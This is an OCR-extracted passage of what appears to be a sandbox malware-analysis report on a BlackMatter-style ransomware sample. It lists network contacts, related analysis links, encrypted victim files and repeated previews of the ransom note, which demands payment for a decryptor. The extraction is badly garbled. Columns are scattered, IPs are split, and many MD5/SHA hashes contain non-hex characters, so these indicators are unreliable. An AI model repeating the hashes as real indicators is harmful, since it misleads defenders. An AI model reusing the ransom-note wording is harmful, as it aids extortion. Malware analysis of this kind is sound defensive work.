H=EJMYTIsb
PcKMchoi/N
CYrsSoukQ1l
cyycXKbirl
JaFNH/FpU7
Xng2HIBKTd
IWJb6tzkCK
&EBPLR=cVn
DMB4HOpL

e wwl.survey-
smiles.com/

e wwl.thefr
eesmsapp.c
om/_tr

Context
e 199.59.242.153
e 199.59.242.153

e 206.188.19
7.206

206.188.19
7.206

206.188.19
7.206
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https://view.joesandbox.com/analysis/394569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394569/html/none?idtype=webid
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid
https://view.joesandbox.com/analysis/393074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393074/html/none?idtype=webid
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid
https://view.joesandbox.com/analysis/387887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387887/html/none?idtype=webid
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid
https://view.joesandbox.com/analysis/228048/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228048/html/none?idtype=webid
https://view.joesandbox.com/analysis/159852/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/159852/html/none?idtype=webid
https://view.joesandbox.com/analysis/358838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358838/html/none?idtype=webid
https://view.joesandbox.com/analysis/358394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358394/html/none?idtype=webid
https://view.joesandbox.com/analysis/358253/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358253/html/none?idtype=webid

Match
TRELLIAN-AS-APTrellianPtyLimitedAU

BODIS-NJUS

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19
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SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
[}
@
<]
[}
2
@
-3
[
o
3
-
®
2
o
3
®
c
a
[

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Context

103.224.21
2.221

103.224.21
2.222

103.224.18
2.246

103.224.18
2.244

103.224.21
2.219

103.224.21
2.220

103.224.21
2.221

103.224.21
2.222

103.224.18
2.210

103.224.21
2.220

103.224.21
2.220

103.224.18
2.210

103.224.18
2.210

103.224.21
2.228

103.224.21
2.228

103.224.18
2.210

103.224.18
2.210

103.224.21
2.221

103.224.21
2.221

103.224.21
2.221

199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.243.200
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.243.200
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153
199.59.242.153

Context

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222
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https://view.joesandbox.com/analysis/399440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399440/html/none?idtype=webid
https://view.joesandbox.com/analysis/398537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398537/html/none?idtype=webid
https://view.joesandbox.com/analysis/398300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398300/html/none?idtype=webid
https://view.joesandbox.com/analysis/398092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398092/html/none?idtype=webid
https://view.joesandbox.com/analysis/397812/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397812/html/none?idtype=webid
https://view.joesandbox.com/analysis/397207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397207/html/none?idtype=webid
https://view.joesandbox.com/analysis/396777/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396777/html/none?idtype=webid
https://view.joesandbox.com/analysis/394157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394157/html/none?idtype=webid
https://view.joesandbox.com/analysis/391212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391212/html/none?idtype=webid
https://view.joesandbox.com/analysis/390508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390508/html/none?idtype=webid
https://view.joesandbox.com/analysis/389343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389343/html/none?idtype=webid
https://view.joesandbox.com/analysis/388626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388626/html/none?idtype=webid
https://view.joesandbox.com/analysis/387090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387090/html/none?idtype=webid
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid
https://view.joesandbox.com/analysis/386626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386626/html/none?idtype=webid
https://view.joesandbox.com/analysis/386325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386325/html/none?idtype=webid
https://view.joesandbox.com/analysis/386271/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386271/html/none?idtype=webid
https://view.joesandbox.com/analysis/382977/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382977/html/none?idtype=webid
https://view.joesandbox.com/analysis/382973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382973/html/none?idtype=webid
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid
https://view.joesandbox.com/analysis/398557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398557/html/none?idtype=webid
https://view.joesandbox.com/analysis/398442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398442/html/none?idtype=webid
https://view.joesandbox.com/analysis/397881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397881/html/none?idtype=webid
https://view.joesandbox.com/analysis/397088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397088/html/none?idtype=webid
https://view.joesandbox.com/analysis/396723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396723/html/none?idtype=webid
https://view.joesandbox.com/analysis/396664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396664/html/none?idtype=webid
https://view.joesandbox.com/analysis/396514/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396514/html/none?idtype=webid
https://view.joesandbox.com/analysis/396496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396496/html/none?idtype=webid
https://view.joesandbox.com/analysis/396159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396159/html/none?idtype=webid
https://view.joesandbox.com/analysis/395887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395887/html/none?idtype=webid
https://view.joesandbox.com/analysis/395722/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395722/html/none?idtype=webid
https://view.joesandbox.com/analysis/395656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395656/html/none?idtype=webid
https://view.joesandbox.com/analysis/395333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395333/html/none?idtype=webid
https://view.joesandbox.com/analysis/395082/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395082/html/none?idtype=webid
https://view.joesandbox.com/analysis/394569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394569/html/none?idtype=webid
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid
https://view.joesandbox.com/analysis/393074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393074/html/none?idtype=webid
https://view.joesandbox.com/analysis/391992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391992/html/none?idtype=webid
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid
https://view.joesandbox.com/analysis/399504/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399504/html/none?idtype=webid
https://view.joesandbox.com/analysis/399458/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399458/html/none?idtype=webid
https://view.joesandbox.com/analysis/399450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399450/html/none?idtype=webid

Match

Dropped Files

No context

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Created / dropped Files

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

103.224.21
2.222

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: PC bitmap, Windows 3.x format, 1280 x 1024 x 16

Category: dropped

Size (bytes): 2621494

Entropy (8bit):  0.33984115657693365

Encrypted: false

SSDEEP: 12:GKmb9VZxphxz3db7t/7BNbXIdTVtVFzV3Z1TtdL1IRVP3N5VLL3ID5IXRZBZhRBHJ:2

MD5: 89541866099188CD5F570E1D9DD78672

SHAL: 6B6120962F6BDA368045EB881973C2332CA215C5

SHA-256: 3D04DFB85C79126DF85989C09CF53CDAA5709DCOB59A3F7CB559007A5934A8D0

SHA-512: B696214C87A0DCB7BA1D15BBOA1DDF968B0C7940322CDEE30E36BB95014824D26C1C6E77BED1115FDEA0334352A9F3EA3ED43F905722CAD11D15A77EEBOB2
41

Malicious: true

Reputation: low

Preview:
BMS6.(.....6... (

C:\Users\user\3D Objects\kVuoJyeoW.README.txt

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 1548

Entropy (8bit):  4.479946811569468
Copyright Joe Security LLC 2021

Page 17 of 56


https://view.joesandbox.com/analysis/399425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399425/html/none?idtype=webid
https://view.joesandbox.com/analysis/399342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399342/html/none?idtype=webid
https://view.joesandbox.com/analysis/399265/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399265/html/none?idtype=webid
https://view.joesandbox.com/analysis/399226/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399226/html/none?idtype=webid
https://view.joesandbox.com/analysis/399220/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399220/html/none?idtype=webid
https://view.joesandbox.com/analysis/399190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399190/html/none?idtype=webid
https://view.joesandbox.com/analysis/399179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399179/html/none?idtype=webid
https://view.joesandbox.com/analysis/399166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399166/html/none?idtype=webid
https://view.joesandbox.com/analysis/399159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399159/html/none?idtype=webid
https://view.joesandbox.com/analysis/399158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399158/html/none?idtype=webid
https://view.joesandbox.com/analysis/399153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399153/html/none?idtype=webid
https://view.joesandbox.com/analysis/399148/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399148/html/none?idtype=webid
https://view.joesandbox.com/analysis/399113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399113/html/none?idtype=webid
https://view.joesandbox.com/analysis/399109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399109/html/none?idtype=webid
https://view.joesandbox.com/analysis/399106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399106/html/none?idtype=webid
https://view.joesandbox.com/analysis/399073/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399073/html/none?idtype=webid
https://view.joesandbox.com/analysis/399057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399057/html/none?idtype=webid

C:\Users\user\3D Objects\kVuoJyeoW.README.txt

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1l:V4IAnNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false
low
~+ . * +.. ' BLACK l. () -=""= -o0- . =\ ] . =l | .
\ o=, oL '=_ =T AL+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not

operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1l:VAIANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1ASB722CAD2
4

true
low
~+ . 4 ' BLACK l. (0 == -o0- . =\ | . =] .
\ =l o == R+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not

operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep

C:\Usersl\user\Desktop\BJZFPPWAPT\kVuoJyeoW.README.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false
24:NVB4loz8mP/NA1jo66DUetcYRTXRax/ncQcPVs5V0k7jO5K3yFHsZkIP11:V4IANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false
low
~+ . * +.. ' BLACK l. 0 == -o0- . =\ . =l .
\ =, oL =_ =T f+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not

operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep

C:\Users\user\Desktop\BNAGMGSPLO.jpg.kVuoJyeoW

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Users\user\Desktop\GILHM7paoZ.exe
data

dropped

1158

7.808004741030638

false

Copyright Joe Security LLC 2021 Page 18 of 56



C:\Users\user\Desktop\BNAGMGSPLO.jpg.kVuoJyeoW

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

24:djir7AoeDENMu2W9t/QKlpszUazZymf+qsUJIxqIMp5ShttiFKBr/pa:dj/oOENM4hvto+qBvcp5SNZk
4AB99B1643259752B4934D11FA710A93

A05754054272F0C47EFF4242185FFBF2F9B47495
B343816546539D4209E3B721D988C88367EBFAAGCIALIIES7237BDIEAL7706E0L

0241ABA9CBC2EC2666A4EFFA46961F0957470B4A1856D886A47E3FOAATFBEB7FOE262FCC6BB92D032C0ABODAOBO2F712F9402AE8273AF64CEB595C3BOF81241
2

false

low

..Y_VN.P....s!.8...2..$BU
.&.$v.@}.,.T.v.t_}....<.06.K5:.4.$.WS[\*.%...C..0.KQ.T...7..-XX..U....,.B..F....K..6..[.}E. ... p.[......G h..f+)...0..T&..\11..Y-,;S&....dRT2M.a....6...3.Vc"{.O...}..*,.
re?.R..+L* .21 A...u5..6..bg.\..0.ry~_...|.j... uWU+.1.WID*.[LA@.....E.0.U..VgS...e.0..;.S..

C:\Users\user\Desktop\BNAGMGSPLO.xIsx.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.839281513059947

false
24:9hy23eLXD5m/ROQRbH6YYHKS3iKxOvYUbFU7c42P:ghy2WXD5m/ROQmHsQvY7c4M
13B282E65CD78EEEFE9350DDCC63085B
E3C11D3B6FC31183D227B15874998FE10F375AA4
E36785C82D136D71F4C509B3594A796D7E7622B3645345E355149AAA85F7C24F
5C78E134393BF466210A544E31553E819E5E8AF4AEBIB52189103CA526DABAD2F74C4C6A03D81FIA636549D747F7153D54E49AFDDBOBD7071106EA8CI7BAF24C

false

low

s ITF...ku. L. (fs A~W..W.T.WOK....<(7W&.C.9....V..b=g......
#ekes.ajt\...U.$.9..,...zv.x.*&a.n..s..]'.R....q...LRRQ..g...bC..0.x.Vu.F..MX...$..2..|.G.
AcGNddyFo Pl Kb T UWLLLL 7T e R L bBALdur . EH) N.a).b.."........ E..l~... (.$Tc.....0..>n.d.")

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false
24:NVB4lozZ8mP/NA1jo66DUetcYRTXRax/ncQcPVs5V0k7jO5K3yFHsZkIP11:V4IANNAZ066uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1A5B722CAD2
4

true
low
~+ . * +.. ' BLACK l. (O -=""= -o0- . =\ ] . N | .
\ =, oL =_ =T L+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not

operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not
comply with our goals. .. We always keep

C:\Users\user\Desktop\DUUDTUBZFW.jpg.kVuoJyeoW

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.83354346245067

false
24:4VAGXwWKKTLP3vIRzwjxrbmOoRvwxiYn29r8nxEsUayXMNVd1FnuU+KOBK:mG9X/zMxryDwx6ashXod116 0BK
CBF8B91A18B96435936CF7A7F253A914

393BF40A0858970021590CF31A6638C3B39A974E

Copyright Joe Security LLC 2021 Page 19 of 56



C:\Users\user\Desktop\DUUDTUBZFW.jpg.kVuoJyeoW

SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

8B8D431415513DC29BD072EF3940D790109EAB3B5C571030A69E87942FE0323E
9EOA3BO00AE899B2F88B46A09336251655787395AF77E7797E5C04B5809378539696A1271EBE4190B3EEFB94E08D1684226EDEFOEE5193FE7AD23479BF5FC2D7
false

low

LUuStT.z....;.r.e.l.vo..]...d.~.sC.q.GPh.fN.~ .A....V.a\$. x..,... T.{j...Z..0..>U...}}......9.P....q..B...h....tn.s.6!....LHq.|.P...p..M.F3....... ,...l..6&.....5.]ON;'v....S.....b.....V8.
{.....nd99.0>.p..u.[..>>.b........e..h}..+..16..P.#.5p..9./2s...q..C.....Gh....p...Z..HOrl....6DIh.Z.Fe=..H.*..X.Xf.w.D6:N....].Sj...yz..... ;Kt...r~.&+%.(.t....E+..1..[.S~...pYE.l.".B.....

$L?.....U.aDa.U.f...-...HM.......=f|.E.b.a...........6...9.Q.C..U?2.Ze...L.Y.... .. 2. IM.>3...wr..{. YG... k...>. .9.G..)).U.pl. pR.U..3...=}.. T.....G.Z...2..b.2.V..9c3 Z........... (9
£X.~g...|L...D..23T...._..T|.4l...d.w..fWT.5.=.2TPO.....2.. ].VSb&.(..}.2.9....my..i...C.R .F=..z..%>~#......0..Tb..4"..DP.X9.fu.B....[.15w...).9_I/}}....p..\c....z.w... 14.{R.
ne4qT..|.Up... 3% =i A._.==A.1..3Z...1...7.6..1.G}... 4. W..S7..Z..a....;..bx...M..3...._.D...0.=..4{4.9.....

C:\Users\luser\Desktop\DUUDTUBZFW\kVuoJyeoW.README.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

ASCII text, with CRLF line terminators

dropped

1548

4.479946811569468

false

24:NVB4loz8mP/NA1jo66DUetcY RTxRax/ncQcPVs5V0k7jO5K3yFHsZkIP1I:V4IAnNAZo66uYNxZ1Ns8eOmyuZotl
F66968C47A64569E2281F65A95991BEO

EF9E3E80BFBEA4C3021B226CB8CD00687013B8A8
4B950C763006E7C4569DF8742855CEC31BF82F835BD7E2BDCB5F128DB34C82BF

CB4ACE1B3E891AB100B3950C6BC133B216E91C8978A3AF1FFD75617B606BB7CEB0133F44D37A30A827655E5B84B016D736A732F5F37635BB727E1AS5B722CAD2
4

false

~+ . * 4. ' BLACK . ( ~.="= -o0- . = Lo =l .

\ o=, oL LE_E=TE L+ Matter +. O * R >>> What happens?.. Your network is encrypted, and currently not
operational. We have downloaded 1TB from your fileserver... We need only money, after payment we will give you a decryptor for the entire network and you will restore
all the data.....>>> What guarantees? .. We are not a politically motivated group and we do not need anything other than your money. .. If you pay, we will provide you
the programs for decryption and we will delete your data. .. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not

comply with our goals. .. We always keep

C:\Users\user\Desktop\EEGWXUHVUG.png.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.812172851252621

false

24:61e1n9Fw144bmZrNoBM7IK6 TxqoEdWRsmVRUITVAbPVI0EF2r:geLFhAANOBII62WRBpDYJ9ur
90D7B2C23AD2856D54739E9F79030B58

66270C0542952EAO0F3FABOFF729661EDE32DFADF
B97ED22D92602A6D0BF06855FC57FFDF48862EB4079C093DDC181CBB58BC3BFC

B62D067C34DEC1B697FE0A92A68267786854FCEDCDAC76C47D79B58EFD4F2FOCFCE6A23966007EFF2671CD85732E72CES52BBE640357A9827D456C0D3C4269E
6

false

s.7N..5.5:..0.Z.." " .OtM.......L.).... {F#....9.K..#\.aJ .Cw._=
o %./B<...E7....9......N.. iS.}."..N......2.%.8.C..$..BP5.0U......

C:\Users\user\Desktop\EFOYFBOLXA.jpg.kVuoJyeoW

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\GILHM7paoZ.exe

data

dropped

1158

7.830118542114172

false

24:cM7gkOhkwDoe+hzKrUbQufpJzgKuvpSjpOs3po282a:cM7gpoMr10gpOOApxI|
0B4C5C5D50034022E916F74DB27B23EE
7076BFD48315016540C9FB1507D6693AFCABEC13
5BB7964690DA50EF1DB456C47D4A4314E09585D0D166F6C1EDB7E2A8034B4111
57ECAO0B2A5C9FF09835C29D20F91C25061F193115E541369355D01DF225B1276DC12E92BFF51539FA2D72C03B3C7A5F07F10914D407520A7484C43EC6FA73AEG

false
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C:\Users\user\Desktop\EFOYFBOLXA.jpg.kVuoJyeoW

Preview:
"b.KdB.d..)).....U..4.bV..[8...."......@. . V.N...y.J..._EEW....I........ A.1AvdQ.lv...<R.Ks.T..m.X/.fq.....=...HN..%..J....r2.0....M..[..J.d.16.Q..Vi.w...(.nf.<.B..9..H..v).
.G.%...CnE.As.T..bd....f..P..].Za,..p..._. 83X #. Lo X W AP~ WALw.g. HX Ve LR e AT phopwe T T T b KGHL i~
m..~.j..\ . $.S[1s.R.P LW i p..q.w2/!...j..Qd.y {pf. $5.b..[fA,..C.&.Q.U..21
.IR}.e_.ylZl.>..g.le{3..iF.B.*A}r.-a.u.c..n.GA..... JO'.MTLS.....9[Zb.]...cocris 4.d

........ b..m>.0.(.2..G|..8..0k......(...E&"S...q.@.C..-. }.N.N..

C:\Users\luser\Desktop\EFOYFBOLXA.mp3.kVuoJyeoW

Process: C:\Users\user\Desktop\GILHM7paoZ.exe
File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.824679867229879

Encrypted: false

SSDEEP: 24:+JXhSIDIRUSHQ+9UM|LYZsALWTAB8Zw7DLNpouTatsgbyWdjzCmE1d:+RhSIDIRmM+P3yZrLkqlw7D4u+xPdfNE3

MDS5: 4A025377B581F7258D1725D73CF772A4

SHA1L: 9B32A17EE18DA5B5AC49AA961DF623706E54E27B

SHA-256: C758D8E21E2F3B8C7B3E1D0CD4315578A85DE6GE4BEEE7F72EAC25DB93F5C36B5

SHA-512: 2A06F58835E5E32412D4859F2B01BA4865D385B4DEFEA4D4128C9E694420F025303CA821C2C01CF142D7A0CA622E8EB829F9756A591D9391F4C71BAD2450C14/

Malicious: false

Preview:
e 10.3004.%81. . Je L SEALSLw M dR. W &NNLELDL) L+ RALLLEZLE . UF(.C.6.0.#£.7...0 [T.m?..~. A|.LSC.S.vI"..-9BW..Z.m9.X..>.......-..D..f]L.5.[....Q. :<.dY...N.
=..3...nK.9:[L.y.t4. . .N.....EW.h.cyV.TV[..e|....0.~s...,./K'=.$....1UJ.T.nh.d..p.NK..D.X.@."..9).......... f....1..j.Z..D6.P/.g+.8..H.]B.L.S.f...0Sx......"..N...z>._..-...c.[g...C.
k3..P...Xbe....8.....n..[..Sa..?q..k[....B... U. .......... 3i.<D.A......h.g.u.G}...... u...e#/.5m="In.P.yy.ml... 8. AaEX+6Y..$.+.c9.9M..C........ l...cts.. Wi....E.%..(

C:\Users\luser\Desktop\EFOYFBOLXA.pdf.kVuoJyeow

Process: C:\Users\user\Desktop\GILHM7paoZ.exe

File Type: data

Category: dropped

Size (bytes): 1158

Entropy (8bit):  7.823233907684467

Encrypted: false

SSDEEP: 24:9qGLceUQ9230TRpdasjgHA/s5z6aRQ9ZejlodWpgIHL+S7VcS33/:qGLPUjKTRp4syA05z6aRqWIEWpgCLd7n

MD5: 6526E5C1F46789DC382C5F8EDICBAE35

SHA1L: EOA0C1228B1E01DB81FF0887E1D7471D5FDE2B75

SHA-256: 8C821EA694C09DEBB42B2F051E641FAC9181A94A7B21708C74E539B7D0BBF3BB

